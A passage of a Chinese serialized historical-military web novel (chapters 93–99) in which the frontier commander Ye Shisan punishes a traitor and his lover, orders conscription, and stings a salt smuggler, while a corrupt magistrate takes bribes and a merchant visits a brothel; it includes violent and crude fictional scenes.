叶十三一怔,又记得鞑子临死前说过的话,他们得知的情报,全是来自沙柳滩村烽火台什长这里。
什长高七,和黄羊岘烽火台之前的什长高五之间,难道有何联系?
想到这里,叶十三把视线转移到高七那张阴晴不定是脸上,冷声道:“一个男子汉,睡了女人就睡了,抵赖就能推卸掉你的责任?”
此言一出,张寡妇就像抓住救命稻草一样,急道:“叶大人明鉴,这高七本就是高五的同胞兄弟,民妇真是倒了八辈子血霉了,这当哥的死了,当弟弟的又来拿民妇解馋……”
“够了!”
叶十三站了起来,怒斥一声,吓得张寡妇戛然住嘴。
原来如此!
这高七是高五的弟弟,而且和张寡妇有染。
看来,高七当内奸,那就不难理解了,这个女人就是祸根。
第94章 速死,就是她最大的奢望
此时,叶十三眼眸,已经是杀机迸溅!
“张寡妇,高七,你二人可知罪?”
叶十三懒得再听狗咬狗的那些废话,单刀直入就奔向主题。
这一声质问,高七和张寡妇浑身就抖了起来。
“小的知罪,小的知罪,在值守期间,违反禁令带女人进入防御工事寻欢。”
“民妇知罪,民妇不应该进入军事禁区,不该干扰了烽火台值守军务。”
高七与张寡妇二人,一口承认自己所犯的罪责,在地上磕头如捣蒜。
叶十三岂能是这么好糊弄?
冷眼一瞥眼前跪着的二人,然后把目光投向愤愤不已的郭威,道:“你身为驻军百夫长,通敌叛国该当何罪?”
通敌叛国?
不是违反军纪禁令,私带外人进入防御工事淫乐吗?
这奸夫淫妇的下作勾当,如何与通敌叛国扯上关系了?
“本千户在问你话呢!”
望着一头雾水,呆立当场的郭威,叶十三厉声又是一句。
“通敌叛国,当然是砍头的死罪了,要是造成严重后果,可诛灭九族。”
被惊出一身冷汗的郭威,不假思索张口就答。
“大人明鉴,小的冤枉啊!”
“民妇只是拿这身糟肉,换取一些活命的粮食而已,民妇哪敢通敌啊!”
二人被吓得魂飞魄散,开始极力为自己洗脱。
“你们真以为,老子对你俩的那些嗜淫之好感兴趣不成?”
叶十三紧跟着又是一问。
“大人,小的就是耐不住寂寞,这才……”
“闭嘴!”
叶十三勃然大怒,打断高七的狡辩,又道:“死到临头,还在给老子演戏,你当老子是傻子不成?”
叶十三紧盯着高七的眼睛片刻,这又淡淡说道:“昨夜发生了何事?你这对狗男女还不知道吧?”
说完,叶十三重新坐了下来,把头往椅背上一靠。
被吓掉了三魂的郭威,这才回过了神,指着高七的鼻子,气急败坏地吼道:“你还不知道吧?就昨天晚上,千户大人在沙河湾设伏,歼灭又来偷袭我驻军大营的鞑子二十多人,那些鞑子的脑袋,已经被送往镇上衙门示众。”
此言一出,高七的一张脸,开始变得煞白,额头豆粒大的汗珠子,也直往衣领里灌。
张寡妇更是狼狈,瘫坐在地的她,屁股底下霎时又渗出一滩腥臊的黄汤来。
鞑子被杀?
这不明摆着的吗?
肯定有活口被审讯,他私通鞑子贩卖信息的事情自然就会败露。
想到这里,高七的身子不由地抖得就像筛糠一样。
抵赖,已经无用,还不如充一次硬汉,出出心中的那口恶气。
就在叶十三冷眼注视着眼前二人的时候,高七突然抬起头来,迎着叶十三的目光,恨声道:“我张家兄弟自吃粮以来多年无事,从你到了边城,我五哥被射杀,今天你又要我的命,合着我张家欠你的人命不成?”
面对高七的质问,叶十三笑了。
“大敌来犯,你兄长高五身为什长,不但不以身作则,垂先作出表率不说,还企图借机逃跑,不顾同伍士卒的性命,不顾辖区百姓安危,如此失职怕死之人,难道不该射杀?”
“更可耻的是你这个做弟弟的,你兄高五之死,乃前车之鉴,你身为弟弟,又是担任着同样的警讯要务,不但不引以为戒,反而变本加厉,私通元蒙敌贼,损我大夏国之利益,这难道不该死吗?”
“由你通敌叛国之祸,沙柳滩村被鞑子血洗,百姓死伤无数,粮食牲口尽数被抢,驻军大营被屠,戍边士卒血流成河,如此滔天罪行,你安有脸来质问老子?”
叶十三一连串的灵魂三问,惊得郭威一时站立不稳,差点一头栽倒在地。
这一切,他作为驻军百夫长,居然丝毫不知。
叶十三要是连带问责,他这个百夫长,恐怕也是难辞其咎。
“你……你……”
郭威浑身发抖,指着高七说不出话来。
在叶十三的灵魂三问之下,高七反而淡定起来,紧闭着眼睛一眼不发,完全一副视死如归的样子。
“杀你这一对狗男女倒是简单,老子一刀就能办到,可老子改变了主意,将你交给军部处置。”
出乎所有人的意料,叶十三居然没有杀高七,而是做出了把高七移交军部的决定。
按高七所犯之罪,别说是叶十三了,就是百夫长郭威,只要证据确凿之下,也有权力就地处置。
高七已经是死定了,只是挨谁的刀而已。
叶十三又把目光,投向面如死灰的张寡妇脸上,轻蔑说道:“一个妇道人家,却不恪守妇道,生活艰难的人多了,难道都像你一样操皮肉营生?”
“好了!”
叶十三摆摆手,似乎不屑再和张寡妇掰扯,冷声道:“杀你,还怕脏了老子的刀,你不是军伍,就不移交军部了,地方衙门也免了,老子就将你交给沙柳滩村那些失去丈夫、失去儿子的妇人们处置吧!”
话音一落,张寡妇就像鬼一样尖叫起来。
“千户大人开恩,您还是一刀杀了民妇吧,不要将民妇交给……”
无人知道张寡妇心中此时的恐惧,上次她被叶十三交给徐老六,被塞了一只猫在裤裆中,这好不容易才缓好了猫的抓伤,不料却又落在叶十三手中,她要面临的又是生不如死的折磨。
速死,就是她最大的奢望。
一个连死都不怕的人,其实最怕的,就是没有个利索的死法。
如果将她交给那些失去了丈夫、失去了儿女的女人们,那后果可想而知。
叶十三懒得再和这二人掰扯半句,缓缓转过头去,向吴六子问道:“都记下了?”
“回大人话!”
叶十三身侧的一张破桌前,吴六子举着一张墨迹未干的纸,又道:“此二人所犯之罪,小的已经全部记录在案。”
“好!”
叶十三点点头,冷声又道:“让这对狗男女画押。”
一声令下,不管高七和张寡妇情愿不情愿,呼啦啦涌上几个探马兵卒,摁住了二人的手往印盒中一蘸,然后把二人蘸了朱红的指头,重重地在那张供证上一按。
“郭威,你既是主管上司,又是陪审人证,按理说也该签字画押为好?”
叶十三望着郭威,让他这个百夫长,以陪审长官的身份也按了印签。
如此一来,高七就是到了阴曹地府,那也是翻不了案的。
第95章 征丁
回到大营,已是半夜。
虽然叶十三没说什么?但百夫长郭威却心神不宁。
熟虑再三,郭威来到叶十三住的房间,“扑通”一声就往地上双膝跪倒。
这一跪,不是军礼,而是求饶和赎罪。
“大人,请治末将渎职不察之罪!”
郭威双手伏地,额头也触到了地面。
“哦!”
叶十三放下手中茶碗,目光缓缓看向郭威,淡淡说道:“不是本千户不能治你之罪,而是本千户看到你只是愚蠢,本质却并不坏,眼下沙柳滩村急需一个稳住阵脚之人,村民需要,驻军更是需要,本千户这才网开一面,留你继续担任百夫长职,故而先不办你,以观后效。”
“谢大人啊!”
郭威感动零涕,泣声道:“大人恩德,末将没世难忘……”
“行了!”
叶十三摆摆手,摇头又道:“我不想听豪言壮语,只看你如何去做,做不到,说任何漂亮话都是白搭。”
“下去吧!”
说完,叶十三挥挥手,示意郭威退下。
看到郭威出了房门,吴六子咬着牙,恨恨说道:“这种糊涂蛋,应该让他领一百军棍才解气。”
叶十三何尝不出口心中的郁气?
可眼下急缺人手,更缺能带兵的人,像郭威这种本质不坏的人,还是给他一个将功补过的机会。
今后该如何?
沙柳滩村的驻军兵卒自己心中清楚,这个百夫长,还得留着替他照看这个烂摊子。
一个统领两镇十五村防务的千户,按规定,那也是统兵两千的中千户职。
可眼下,叶十三还是下千户军职,统兵算起来还不足一千。
这个下千户,在某种程度上,只是一个手下无足够兵马,又无粮饷补给的空头千户而已。
在军中,什么道理都是狗屁,只有手中的刀才是真理。
如是想着,叶十三又睡了一个自然醒。
说是自然醒,其实是被晨操的号角吵了醒来。
经过这一通发威,不用叶十三布置,驻军兵卒们自觉地按时操练起来。
这里面有醒悟,也有对叶十三的惧怕。
昨夜去镇上的兵卒们回来了。
“禀大人,鞑子的人头,小的们已经摆在衙门口示众。”
回来复命的兵卒,第一时间就向叶十三禀报。
“好!”
叶十三微微颔首,又道:“让那些大人们看看,我叶十三手中的刀,是砍人脑袋用的;让西河镇的百姓们看看,我叶十三手下的兵,是护佑一方的正义之师。”
一通大义凛然,又冠冕堂皇的话,说出口后,叶十三自己都笑了。
草!
要不是被逼到这个份上,老子过安分日子不香吗?
眼下小股的鞑子来骚扰,驻军还能勉强应付,要是元蒙全面向大夏出兵,那么首当其冲的,就是最前沿的这些村子,那就成了鞑子的磨刀石。
得补充兵马,这个问题刻不容缓。
迫在眉睫的兵力部署,没有一定的兵数,一切都是空谈。
西河镇人口流失最少,兵源基本稳定,只要有钱有粮,不怕征不到新丁。
就在叶十三心中盘算如何征兵的时候,一名驻军兵卒急匆匆来禀。
“千户大人,张寡妇死了!”
“死了?难道是疏于看守,被她寻找机会自尽了不成?”
“小的们依照大人命令,把张寡妇交给了村里那些失去了丈夫和孩子的女人们,悲愤交加的村妇们,把张寡妇活生生地给捅死了!”
“女人无非就是抓脸,拔头发,再狠也就是撕扯一番,如今刀具稀缺,何来捅死一说?”
面对叶十三的质问,报信的兵卒面上一尬,讪讪说道:“村妇们失去理智,手执牛角,硬是把尺余长的牛角,照准了张寡妇的生门乱捅一气,啧啧,张寡妇被人摁着动弹不得,肚皮都给捅穿了……”
“行了!”
胃里一阵翻滚,嗓眼也是一阵涌动的叶十三,赶忙摆手制止了兵卒滔滔不绝的禀报,
皱起眉头说道:“扔野外埋了,埋深一点,别叫野狗给扒了恶心人。”
吩咐完毕,叶十三早已没有了吃早饭是胃口,连灌了一肚子的热茶后,让吴六子把骑兵探马召集起来。
“大人,有行动?”
草草用过早饭的吴六子,挎好了佩刀来到叶十三面前,就等着叶十三一声令下。
稳了稳情绪的叶十三,瞥了一眼晨操结束的驻军兵卒们,淡淡说道:“准备征兵告示,家有适龄男丁二人或者二人以上者,必须抽一人服兵役,若有懈怠抗令,一律按通敌从事。”
这是要强征兵丁了?
好男不当兵,好铁不打钉。
除了家里断顿为了吃粮而入伍的人以外,稍稍富庶一点的西河镇,那可是主动应征的人很少。
二者抽一丁,这已经是够仁慈的了。
西河镇九个村子,怎么说也能征得五百兵丁吧!
不然,自己手上不但无兵马可用,而且查抄了泰丰粮行的那些资产,有多少人的眼睛在盯着,以征兵的名义把这笔横财花出去,就是军部也无话可说。
想到这里,叶十三传来百夫长郭威,沉声道:“把驻军分成六组,每组十人,到各村去张贴征兵告示,会知各村佥事,按照人口名册,够条件者,不能漏掉一户一人。”
此言一出,立功赎罪心切的郭威,立刻就去布置安排。
“请大人放心,末将必能完成任务。”
望着郭威信誓旦旦的样子,叶十三笑了。
“不管用何等方式,一定要征够所需兵数,记住了,每征一丁,给其家属十两安置银,粮一石,若是你们敢克扣半分粮饷,定斩不赦!”
“大人放心,银两,粮食都如实造册,末将定不敢从中贪墨。”
“知道就好,多说无益,本千户要看到结果。”
说罢,叶十三摆摆手。
待郭威去准备派人去各村征兵的事宜,叶十三也没闲着,带了吴六子们,立即奔向西河镇。
这次,来西河镇的叶十三,不是为找谁的茬而来,而是正式和西河镇衙门接洽。
西和镇的镇首了解到,自从叶十三到了西河镇后,第一件事就是查封了泰丰粮行,而没有知会他这个地方官一声。
这份窝囊气,一直窝在肚里怄着。
虽然地方和军部无直接的隶属关系,但官职来说,叶十三下千户的军职,是要矮上镇首一头。
就在镇首田诚业,为了衙门口被摆了一地的鞑子脑袋发怵时,衙门口值守的兵士来报;“启禀大人,防区叶千户大人到了。”
第96章 不搞事,叶十三浑身难受
“何人到了?”
“大人,是黄羊岘防区千户大人,叶十三到了。”
“一个奴籍,而且是下千户,接手西河镇防务已经三日之久,这时候才想起向本大人报到。”
田诚业怒气冲冲,轻蔑又道:“一个奴籍武夫,居然先斩后奏,在我西河镇地面上指手画脚,告诉他,就说本大人在午睡,等醒了再见他。”
西河镇和通天驿镇,虽然是两个镇区,但都是万川郡辖下的重镇。
由于地理位置的不同,通天驿镇是以通商为主的交通要塞。
而略处于边境后方的西河镇,那可是土地肥沃的产粮大区。
更是万川郡赋税来源的重要区域之一。
泰丰粮行被抄,虽然背后的东家是周敬堂,但近先获利的人却是田诚业。
在别人的地盘上开办垄断买卖,不给现管衙门好处如何能成?
牵一发而动全身,在利益圈里,这可是常见的事。
这时候,在衙门外面等候的叶十三,迟迟不见田诚业的召见。
“大人,这老东西那是给咱端架子了?”
吴六子一脸不悦,愤愤地望着紧闭着的衙门。
那些被摆在衙门口外面台阶上的鞑子脑袋,也确实够瘆人的。
二十四个鞑子的脑袋,血丝糊拉的被那样摆着。
早起的百姓们纷纷围在衙门口,指着那些血淋淋的脑袋跳骂不停。
瓦片,石子,还有烂鞋子,就像飞蝗一样砸在那些脑袋上。
胆子大点的百姓,直接走上前去,冲着鞑子的脑袋就吐口水。
他们对鞑子的怕,那是深入骨髓的,但对鞑子的恨,更是铭刻在心。
“听说,是新来的千户大人亲自率部杀敌……”
“这下好了,被鞑子祸害的乡亲们终于可以瞑目了……”
“呸!这些蛮狗,你们也有今天……”
“叶大人天神下凡啊!杀了这么多鞑子,真给咱大夏人出气……”
“听说沙柳滩村的男丁,几乎都被鞑子杀光了,驻军大营也被血洗,简直惨不忍睹……”
“军部也是的,如此少的驻军,能保护咱老百姓的安全吗……”
“都是酒囊饭袋,年年征收如此重的赋税,没见他们打过一次硬仗,通天驿那边商旅都不敢来这边做买卖了……”
“可不是,就黄羊岘防区一带的村子,这几年跑了多少人……”
“大人们都知道捞钱,可不管咱老百姓的死活……”
“都别嚷嚷了,小心祸从口出……”
“老哥说得没错,这些老爷们不敢收拾鞑子,收拾自己的老百姓,那可有的是一拿一个准……”
民心所向?
叶十三听着老百姓们的牢骚话,心里又琢磨起事来。
幸好,他和吴六子这次出来,穿的是常人所穿的白板皮袍。
这种羊皮袍子,在边城很随从可见。
要是穿了革甲,这些百姓们还不敢如此说话发牢骚。
而且,他只带了吴六子过来,让穿着革甲的十个骑兵探马,去镇上各处查看一下民情。
没人注意到他俩,只当是早起赶路的人而已。
既然田诚业躲着不见,那么,趁这机会,再办一件大事。
“老东西,叫你拿架子!”
“今天老子来接见你,改天,老子让你这鸟人主动上门求老子!”
“你这老鸟,不插手老子的事,这就对了!”
叶十三肚里连骂三声,一摆手就带吴六子离开衙门口。
“大人,这是要回?”
“既然来了,就再搞个事情。”
不搞事,叶十三浑身难受。
他记得贾迎福临走时,给他说过西河镇还有周敬堂的两处买卖。
这泰丰粮行已经被他端了,剩下的,那可就是“亨通货栈”了。
周敬堂的买卖,规模一定不小,要找亨通货栈,不用问路,挑场面最大的货栈绝对就是。
“征兵的事,郭威已经派几个甲正亲自主事了,大人还有何事要干?”
吴六子实在想不出此时还能干什么?
叶十三咧咧嘴,小声道:“把刀藏起来,揣袍子底下别让人看见。”
说着,叶十三把自己的刀,从皮袍底下塞了进去,然后拉起领子,遮住了自己的半边脸。
吴六子一看,愣了一下,然后照抄作业。
“走,找亨通货栈!”
“大人,我们要采购军资?”
“没错,搞些盐巴!”
“大人,盐巴历来都是朝廷控制,买卖都是官办,这亨通货栈好像不是衙门的买卖?”
“正因为不是衙门的官营,才找这种私营的货栈搞盐巴。”
“大人,那不划算啊!”
“如何不划算?”
“大人您是知道的,我们拿公函,直接去官营的档口调拨就是,何必舍近求远掏高价从私营货栈购买?”
“我还就喜欢掏高价了!”
“大人……私营货栈,那也……不一定……有盐巴啊?”
吴六子何等精明?
但这会,也给叶十三绕得都不会说话了。
放着千户的调拨权不用,非要找私营的货栈买盐巴?
就是你这个败家子有钱,喜欢大把花银子图个爽快,可人家私营货栈,得有盐巴卖给你啊!
对此百思不得其解的吴六子,又不敢再刨根问底。
反正,手里的钱是你叶十三搞来的,不急着花掉,看来是嫌这种银子咬手。
不大时候,一家规模不小的货栈,已经出现在二人眼前。
“大人,就是这家了。”
吴六子无可奈何,小声嘀咕一句。
“好!”
亨通货栈!
叶十三点点头,望着货栈匾额,笑道“机灵点,一切以能买到盐巴为主。”
说完,叶十三把衣领望高一拉,把脸遮了又遮,然后低着头就进了货栈。
吴六子见状,赶快拴了马,也把衣领拉高,又是照抄了一遍作业,掖了掖皮袍下面的佩刀,快步就跟了进去。
一进入货栈大厅,就有伙计迎了上来。
“这位掌柜面生啊!”
当然,货栈一般做的都是批发买卖,零售并不是很多,所以大多客户,都是熟面孔。
“路过此地,随便看看。”
叶十三声音不高,随口一说。
“哦!”
原来是跑边城的新客,欢迎欢迎!
伙计满脸堆笑,一双眼睛骨碌碌直转,把叶十三从上到下打量了一番。
“本货栈有南来的茶叶、布匹、瓷器,还有丝绸,不知道这位掌柜需要些什么?”
叶十三摇摇头,缓缓说道:“这些,我都有,只是还缺一些客户点名了要的货物。”
“原来掌柜的是内地跑北线的,不知道掌柜的所说的客户,需要何等货物?”
伙计的热情,霎时就降温不少,问话也有些敷衍了起来。
可能,这是来探行情的。
“盐巴!”
叶十三惜字如金,直入主题。
“掌柜的还是请便,小店什么货都有,就是不经营盐巴生意。”
陡然一惊的伙计,摆出了一副逐客的架势。
就在此时,吴六子急匆匆进来。
“东家,采办好了吗?”
叶十三摇摇头,道:“看来我们打听错了,朋友们的消息也不一定可靠啊。”
“打搅了!”
叶十三一瞥伙计,补了一句。
说完,缓缓转身,拔腿就往外走。
就在叶十三即将跨出货栈大厅的时候,隔间门帘被从里面挑起,出来一名面色沉着的中年男子。
第97章 大坑
“这位掌柜,请留步!”
来人拱手一礼,又道:“请问掌柜尊姓大名?”
叶十三随即停步,缓缓转身,也是抱拳一礼,道:“不敢称尊,姓叶名闰。”
叶闰?
可不就是叶十三嘛!
“叶掌柜既然是路过,外面天寒地冻,不如坐下来喝口热茶歇歇乏。”
来人笑意盈盈,一指旁边的桌子,又道:“在下是亨通货栈的掌柜梁松,这做买卖嘛,本是互通有无,小店没有叶掌柜所需的货物,喝口热茶,歇缓一阵,也是同行之间常有的交往。”
“梁掌柜客气了!”
叶十三点点头,迈步走向桌子,毫不客气地在一张椅子上坐了下来。
望着货栈掌柜梁松片刻,叶十三突然开口又道:“不瞒梁掌柜,我本不是买卖人,只是朋友委托,采办一些货物而已。”
装不住了?
早就看出你不是买卖人了。
梁松微微一笑,似乎对叶十三的话毫不感到意外。
“这个,在下早就看出来了,不过叶掌柜还算是个实诚人。”
梁松摆摆手,示意伙计上茶。
待伙计提来一壶热气腾腾的茶水,给叶十三和吴六子二人各斟了一碗后,又道:“叶掌柜所要的货物,只有镇上衙门的官办档口有,待会我让伙计给您指路,不远,就半里地而已。”
叶十三心里清楚,梁松这是在试探。
想到这里,叶十三拱手道:“朋友那边需要的多,衙门的档口限量,每户人一次只能买半斤,而且一年最多只能买两次,这些量,哪够朋友所需啊?”
“哦!”
梁松放下手中茶碗,点头道:“行情确实如此,确实如此啊!”
说完,谁也没有再提起买卖的事,都端起茶碗喝起闷茶来。
鸟人!
吊老子的虚实?
明明想宰老子一把,却偏偏还要盘老子的道。
老子就耗着,不怕你这鸟人不开口。
叶十三一点都不急,左右摇晃着脑袋,吹着茶水中的浮沫,慢悠悠地品起茶来。
吴六子可没有叶十三那么笃定,端起茶碗牛饮一样,接连三大碗热茶下肚。
梁松斜瞥吴六子一眼,然后视线转移到叶十三脸上,笑道:“看来这位伙计,也是跑累了。”
“可不!”
吴六子拿手背一擦嘴角的茶叶渣,怨声道:“一路跑了那么多货栈,都没买到盐巴!”
“多嘴!”
叶十三猛然沉下脸来,怒目瞪向吴六子,沉声就是一句。
吴六子一惊,霎时就闭嘴不言。
“不碍事,不碍事!”
梁松摆摆手,笑道:“叶掌柜如此小心,这也难怪,毕竟那种货物,是朝廷明令禁止私营买卖,一旦被发现,那可不是罚几个银子就能了事的啊!”
鸟人!
还说老子小心,你他娘的这会比老子还小心呢!
看你装逼能装到何时?
果然,梁松慢悠悠喝了两口茶水,缓缓放下茶碗,淡淡说道:“不过,梁某行商多年,在行业中还有些路子,要是叶掌柜能等得住,梁某不妨替叶掌柜打听一下?”
“多久?”
“要多少?”
“有多少?”
“那就看叶掌柜的银子大小了!”
片刻间,谈话直奔主题,谁也不再装逼绕弯子。
叶十三凝视梁松片刻,沉声道:“五百斤。”
“五千两。”
叶十三和梁松,一前一后,都向对方伸出一只撑开着手指的巴掌。
要知道,按大夏律,私贩官盐十斤者,罚银二百两。
要是数量达五十斤者,可下诏狱。
一百斤以上,那就更不用说了,抄家砍头是没得商量的。
这叶十三一张口就是五百斤,那可是够砍五个脑袋的了。
但梁松更狠,官盐价格,五百钱一斤。
也就是说,一两银子,可买官盐二斤。
这梁松给出的盐价,那可是一斤盐卖十两银子,等于是在官盐的基础上,整整翻了二十倍。
五百斤盐巴,就要叶十三五千两银子。
人为财死,鸟为食亡!
这句话,那可是亘古不变的硬道理。
在足够的利润下,铤而走险更是不在话下。
这种火中取栗的要命营生,照样有人去干。
“我要现货!”
“概不赊欠。”
两人又是一番交涉。
“好!”
叶十三站了起来,从怀里拿出一叠银票,抽出一张面额五千两的,往桌上一拍,道:“天黑之前,送到沙柳滩村东北方向十五里处,那边自然有人接货。”
一看叶十三如此急着要货,而且付账如此痛快,梁松也站了起来,一拍胸口,道:“知道是那边才需要如此巨大的数量,叶掌柜路子不窄啊!”
“朋友托的事,我还得跑这腿不是!”
叶十三爽朗一笑。
梁松点点头,感慨道:“像叶掌柜如此魄力的买卖人,还真不多见,眼下边城不稳,多地私盐暴涨,听说防区哨卡森严,盘查更是严紧许多,做成一笔买卖不容易啊!”
叶十三像是无所谓的样子,大咧咧说道:“水涨船高,反正羊毛出在猪身上,最后总有掏大钱的人,我只是个搬运工而已。”
话到这里,听得吴六子心头大骇。
这不是摆明了要梁松脖子上的脑袋吗?
如此数量贩卖私盐,那可是要被砍脑袋的。
不但梁松的脑袋被砍,这亨通货栈,怕是也难逃泰丰粮行同样的厄运。
就在这时,叶十三像是突然记起了什么?
“梁掌柜,我还是先小人后君子吧!如此数额的交易,还是给叶某写个收条吧?”
此言一出,梁松神情一怔,思忖片刻,还是拿过笔墨给叶十三写了个收条。
这样更靠谱,眼下官府盘查严紧,钱是给了,到时候收不到货如何是好?
而且,叶十三并没有先付定金,而是为了表示诚意一次性付清了货款。
作为买卖一方的梁松,自然也知道这里面的规矩,写个收条那更是合情合理的。
望着把收条递向叶十三手中的梁松,吴六子不由得观察起梁松肉囊囊的脖子来。
那粗短,又多褶子的脖子,到时候该如何选位置下刀去砍?
根据目测,梁松的那颗脑袋,不比鞑子的脑袋小,起码也有个六七斤吧?
而且,就眼前梁松这身板,被砍掉脑袋后,喷出来的血,绝对比得上十泡马尿的数量,会在地上流成一条血河来。
第98章 交易无处不在
出了亨通货栈,吴六子兴奋起来。
“大人,小的安排下去盯着他们?”
“没错,打发两人换上便装,弃马步行给跟紧了。”
“小的明白,队里有最机灵的两个,最适合干跟踪盯梢的活了。”
吴六子说完,和叶十三一起走过两条街后,迅速向一条巷子横穿过去。
他没有选择一出亨通货栈就和叶十三分手,就是防止梁松派人盯他们的梢。
如此大的私盐交易,那可是掉脑袋的活。
挣再多的钱,没命花它也是枉然。
就在叶十三和吴六子走后,亨通货栈的伙计又回到大厅。
“掌柜的,他们走了。”
“看清楚了?没有任何不妥的地方?”
“一切正常,他们没有其他接头的人。”
“这我就放心了,这次应该不会走眼,那个叶闰,手笔不小啊!”
“掌柜的,这种人应该在军中有关系的。”
“废话,没有一定的关系,敢给那边贩运私盐?”
“这小的就搞不懂了,既然军中有关系,何不从衙门口档口搞货,如此一来不就把利润全给得了?”
“你懂个屁,他要是能从衙门的档口,直接拿到如此数量的官盐,咱的东家周大人吃什么?”
“小的明白了,好买卖肥三家,没有谁能独个吃到撑死!”
“算你还有点脑子,这赚钱的买卖何止能肥三家?能把私盐贩卖到那边的人,赚的不一定比我们少,别看我们是翻了倍的,人家有更大的市场和利润。”
“如此说来,这叶闰还真不简单。”
“那是,没有相当的路子,这兵荒马乱的年头,谁敢拎着脑袋来边城刀口上刮银子?”
说完,梁松摆摆手,道:“多学着点,快去备货,安排四个得力人手,马和车都挑最好的,上面盖上草料,早点出发。”
五千两银子,可不是一笔小数。
扒掉一层皮,入账三千两,给账房私分一百两,六个伙计各二十两,剩下一千七百八十两不就到自己腰包了?
如此暴利的机会可不多啊!
平时就是有缺盐的熟客买个二三斤,三五斤的,就是扒一半的皮下来,那也没有多少。
这一下子就五千两银子的大宗交易,八辈子都碰不上一回。
想到这里,梁松不禁激动得面颊发抖,眼前尽是百花楼头牌金铃儿的影子。
这笔钱到手,拿五百两银子给金铃儿赎身,然后买一处小院,雇两个丫鬟伺候着。
丫鬟这年头不值钱,模样儿俊的,做事伶俐的,年纪十四五岁的大丫头,拿两石粮食就能从贫困农户的手里换一个回来。
如此想着,梁松的心不禁痒痒了起来,吩咐剩下的伙计插上门板提前打烊。
与此同时,镇衙门后衙。
望着满桌的酒菜,田诚业目光一瞥门口候着的兵卒,道:“让姓叶的等着去,就说本大人偶染风寒在床卧病。”
“回大人话,那姓叶的好像走了!”
“走了?”
田诚业一怔,随即“哈哈”大笑道:“走了更好,本官岂是他一个下千户想见就能见的?”
“那是那是!”
同桌的一个胖子,双手举起酒杯,连连向田诚业恭维道:“大人乃千户之首,他叶十三才是千户末,这中间还隔着中千户呢,在田大人面前,他这样的下千户,算个狗屁!”
“不说他了,免得扫了我等的雅兴!”
田诚业摆摆手,重新端起酒杯,向同桌的胖子说道:“林掌柜的意思本官明白,不就一个粮行嘛!”
“大人说得是,这么大的镇子,老百姓没地方买粮可不行,时间长了会出乱子。”
被称为“林掌柜”的胖子,连连点头,然后把一仰脖子,算是先干为敬。
“不过!”
见林掌柜已经喝了杯中酒,田诚业倒是不急,依旧把那杯酒端在手中,缓缓说道:“泰丰粮行已经被查封,就是解封,那也是军部说了算,如此干戈下来,几间房子,一个院子,花费巨大还真不划算。”
“田大人的意思是?”
林掌柜一惊,他哪能听不出田诚业话中的意思?
“您说,我听田大人您的,您看这事如何是好?”
林掌柜单刀直入,毫不绕弯。
田诚业索性放下酒杯,淡淡又道:“眼下,粮行生意抢手,民以食为天,无米下锅可是会出乱子的,所以插手粮食生意的掌柜们不少。”
说着,田诚业停了下来,端起眼前的酒杯,放在嘴边慢慢呡着喝。
“我也知道粮食生意抢手,早就给大人您准备了一点心意。”
林掌柜放下酒杯,从怀里摸出一张两千两的银票,放在桌上向田诚业面前一推。
田诚业貌似不经意地斜瞥一眼推向眼前的银票,继续呡着杯中的酒,又道:“不解封泰丰粮行的好处,那就是这个案子一直挂着,周大人那边也干着急没办法,所以,盘一家现成的商号,有房有院,直接另开一家,这样岂不是省事多了?”
“大人高见,我真没想到这一点,周大人的买卖被关了,他肯定不会坐视不理,只要田大人您压着不报军部解封,他周大人就得等着军部的处置态度。”
说着,面带喜色的林掌柜,又拿出一张两千两面额的银票,放桌上后又是往田诚业面前一推。
田诚业终于呡完了一杯酒,把空杯往桌上一放,林掌柜急忙拿起酒壶,就给田诚业放下的空杯中添酒。
“别太满了,这都洒别的东西上了!”
看到杯中溢出的酒水,田诚业伸手一挡林掌柜提着的酒壶,另一只手顺势把桌上的两张银票抓起后揣入怀中。
“酒不能太满,都说酒满心诚,那都是屁话,太满了,如何端杯?还不是洒外边糟蹋掉了?”
田诚业望着桌面上洒出来的几滴酒,一脸惜疼的样子。
“大人说得极是,十斤粮食才酿一斤酒,可不敢糟蹋掉了,不然罪过就大了!”
不觉间,酒过三巡,田诚业这才抓起筷子,夹起一块炒的油汪汪羊肉,停在嘴边又道:“这样吧!百姓无粮可购那可不成,明日本官就签发牌证,你林掌柜就把这个担子给挑起来。”
“大人吃菜,这菜味道不错,我已经在百花楼给那个金铃子买过账了,待会让她过来,陪大人您醒醒酒,再弹上那么几曲,唱上几个曲儿……”
此时,打了烊的梁兴,一番洗头抹脸后,换了一身绸缎作面的棉袍,兴冲冲就直奔镇街口的百花楼去。
第99章 百花楼
百花楼看起来毫不起眼,一幢不算是建造精美的小楼。
可百花楼的名气,在西河镇却是一点都不小。
边城的军伍,官吏,商人,富户都是这里的常客。
梁松一到楼下,就有眼尖的老鸨子,扭着圆滚滚的腰身迎了上来。
“哎呦!”
嘴唇涂得猩红的老鸨子,一扬手中的丝帕,嗲声就道:“这不是梁大爷吗?您可是有些日子没来了!”
说着,老鸨子用一根胡萝卜样的胖指头,戳了一下梁松的腰眼子,压低了声音说道:“死鬼,可不凑巧,金铃儿今天被人包了,还是到老娘的房里坐会吧!”
“包了?”
一脸失望的梁松,厌恶地翻了老鸨子一眼,悻悻说道:“你这婆娘,想涨价就明着说,别给老子耍心眼子。”
“屁话!”
老鸨子白眼珠子一翻,狠狠剜了梁松一眼。
“老娘何时骗过你?”
“你还没骗过老子?”
梁松眼睛一瞪,道:“远的不说,就上月,拿一个饿得半死的瘟婆娘,棉花蘸着鸡血塞里边,硬说是生瓜蛋子给我开头苞,蒙了老子五两银子不说,害得老子还差点得了瘟病。”
“陈芝麻烂谷子的事,你一个大老爷们还计较这些,真不嫌丢人,老娘都替你害臊。”
“得了!”
梁松神色一正,摆手道:“钱有的是,快让金铃儿准备一下,老子今晚就不回了,到哪儿睡还不是一块热炕?”
老鸨子把嘴一撇,低声又道:“你个老东西,如何听不进人话?”
“就你,嘴里还能吐出人话?”
“那好!”
老鸨子狠瞪梁松一眼,把小山似的胸脯一挺,道:“别动不动就钱不钱的,老娘明着告诉你,今晚,老娘陪你暖被窝,不收你一个铜子儿。”
“可别!”
梁松急了,摆摆手又道:“老子吃盐轻,就你,能把老子给齁死。”
“死鬼!”
老鸨子毫不气馁,扭了一下肥肉乱颤的屁股,嗲声又道:“你可是挣到钱了,这口气也大得能吞天,想当年,你不照样把老娘这身肉,啃得满脸的口水不是?”
此言一出,梁松老脸顿时一红。
“别扯没用的,老子今天来,就是奔着金铃儿来的。”
